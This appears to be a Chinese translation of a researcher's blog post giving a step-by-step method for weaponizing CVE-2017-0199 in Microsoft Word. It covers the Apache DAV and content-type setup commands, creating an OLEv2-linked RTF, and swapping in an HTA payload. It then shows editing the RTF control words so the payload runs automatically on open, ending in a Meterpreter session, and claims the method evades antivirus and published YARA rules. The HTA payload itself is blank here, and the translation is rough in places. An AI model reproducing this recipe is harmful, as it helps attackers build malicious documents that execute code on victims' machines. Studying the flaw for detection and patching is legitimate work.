Windows0day攻击详解,CVE-2017-0199

介绍

自从几天以来,安全社区已经通知FireEye发布了不同的恶意软件(Dridex ...),利用CVE-2017-0199。

其他一些出版物与这个漏洞有关,但没有发布任何有用的漏洞。

一段时间后,我找到了一种轻松利用此漏洞的方式,这似乎与其他研究人员已经完成的工作有点不同。

我决定发布这项工作,因为微软在2017年4月11日正式发布了一个补丁。

技术背景

可以将OLEv2链接包含在现有文档中。

这些对象(一旦包含)将反映源文件中载入文档的当前内容。

令人惊奇的是,如果您尝试将HTA链接包含为OLEv2对象,那么它将被执行一次(在创建时),但WinWord将返回如下错误:


在这种情况下的问题是,HTA文件将不会被持久化(为了使其持续,您将不得不将其链接到文件+创建图标,但是我们想要隐藏并具有自动运行权限?)

想了一会儿,我开始思考如何处理一个真正的,不是恶意的OLE对象链接到一个远程RTF文件...

要实现我不得不在内容类型和DAV模块在Apache中播放一点,以提供我的文件在“ 正确的“Microsoft Office预期方式...(这将在下一章讨论)。

从那里,我将有一个有效的嵌入式对象链接,每次打开我的文档后自动更新!

下一步? 在HTA中用我的有效载荷修改来源的文档!

在这种情况下,我能够:

  • 为真实的RTF文件创建一个动态OLEv2对象链接
  • 使用我的有效载荷修改来源的RTF
  • 如果我想创建一个直接链接到HTA文档,则绕过生成的错误

另一个问题? OLE对象需要自动激活!

我有很多帮助来解决所有这些问题,转载参考部分的不同文章!

感谢Didier Stevens博客,Vincent Yiu(主要受其文章的启发),Nvisio实验室,FireEye和明显的... Microsoft

步骤1

准备HTA文件:(HTA文件是可以运行JScript和VBscript的HTML应用程序)

让我们称之为“ms.hta”

  
  
  
  
Bonjour  
  
  
   
  
 

第2步

使用任意随机内容的Winword创建一个简单的RTF文档。 (在我们的例子中,字符串“这是我的官方和合法内容”)

称之为“ms.rtf”

步骤3

将这2个文件推送到您完全控制的网络服务器上。

我们假定它将被存储在/ var / www / html中

现在我们必须配置Apache才能将ms.rtf作为一个链接

a2enmod dav  
a2enmod dav_fs  
a2enmod dav_lock  
a2enmod headers  
service apache2 restart  

以下指令将:

  • 将内容类型应用程序/ rtf添加到/ ms中的所有文件

  • 允许Microsoft Office执行PROPFIND请求

    Modify virtualhost and include:
    
      
    Header set Content-Type "application/rtf"  
      
      
    Dav on  
      
    service apache2 restart
    

步骤4

使用Winword“exploit.rtf”创建一个简单的RTF文档这将是我们的漏洞利用!

插入 - >对象

Windows0day攻击详解,CVE-2017-0199_第1张图片

CVE-2017-0199 Creation of OLEv2 external link

单击确定后,您将获得包含随机字符串的“ms.rtf”文件的内容。

将文件另存为“exploit.rtf”

Windows0day攻击详解,CVE-2017-0199_第2张图片

CVE-2017-0199 Olev2 link object created

在这一步我们可以关闭Winword,并转到下一步改变ms.rtf的内容与HTA有效载荷...

步骤5

以下步骤将:

  • 更改自定义HTA有效载荷中包含的ms.rtf

  • Web服务器将发送一个“application / hta”内容类型... 这将由Winword客户端解释,Winword客户端将运行mshta来处理此内容类型并执行我们的有效载荷

    cat /var/www/html/ms/ms.hta > /var/www/html/ms.rtf  
    
    vi /etc/apache2/sites-enables/000-default  
    Change -> application/rtf to application/hta  
     like:  
    
    
      
    Header set Content-Type "application/hta"  
      
    
    service apache2 restart 
    

步骤6

在这一步,如果用户打开“exploit.rtf”文件,他将不得不双击链接对象来启动攻击...

如果我们想要在文档打开时自动加载OLE对象,我们必须编辑exploit.rtf文件并更改:

至 \ object \ objautlink \ objupdate \ rsltpict ........................ ..

在这个步骤中,构建了漏洞利用。

开发:

一旦用户打开文档,OLE对象将通过链接进行更新,并且由于服务器提供的应用程序/ hta内容类型,mshta将被执行

结果:代码执行!

Meterpreter在这里!

我们不关心警告,因为代码已经执行了...

Windows0day攻击详解,CVE-2017-0199_第3张图片

CVE-2017-0199被利用了! 执行后发出警告

使用当前AV /发布的YARA规则进行检测

从我的个人测试来看,这种方法似乎没有被AV捕获(Defender已经有CVE-2017-0199的签名)

此外,目前发布的雅拉规则与此漏洞并不匹配

规则rtfobjdataurlmoniker_http {

字符串:

$ header =“{\\ rtf1”
$ objdata =“objdata 0105000002000000”nocase
$ urlmoniker =“E0C9EA79F9BACE118C8200AA004BA90B”nocase
$ http =“68007400740070003a002f002f00”nocase

条件:

$ header为0,$ objdata和$ urlmoniker和$ http
}

确实,urlmoniker不匹配,这将永远不会触发这个Yara规则。

参考文献

https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199_useda.html

https://www.mdsec.co.uk/2017/04/exploiting-cve-2017-0199-hta-handler-vulnerability/

https://blog.nviso.be/2017/04/12/analysis-of-a-cve-2017-0199-malicious-rtf-document/

关于作者David Routin

David Routin是瑞士安全公司的CISO,他十多年来一直担任防范和防御安全方面的安全专家,其中包括各种脆弱性研究.

(安全事务 - Windows0day攻击,CVE-2017-0199)

由Pierluigi Paganini编辑,xmirror进行编译,如需转载请标注:http://www.x-mirror.cn/

你可能感兴趣的:(网络安全)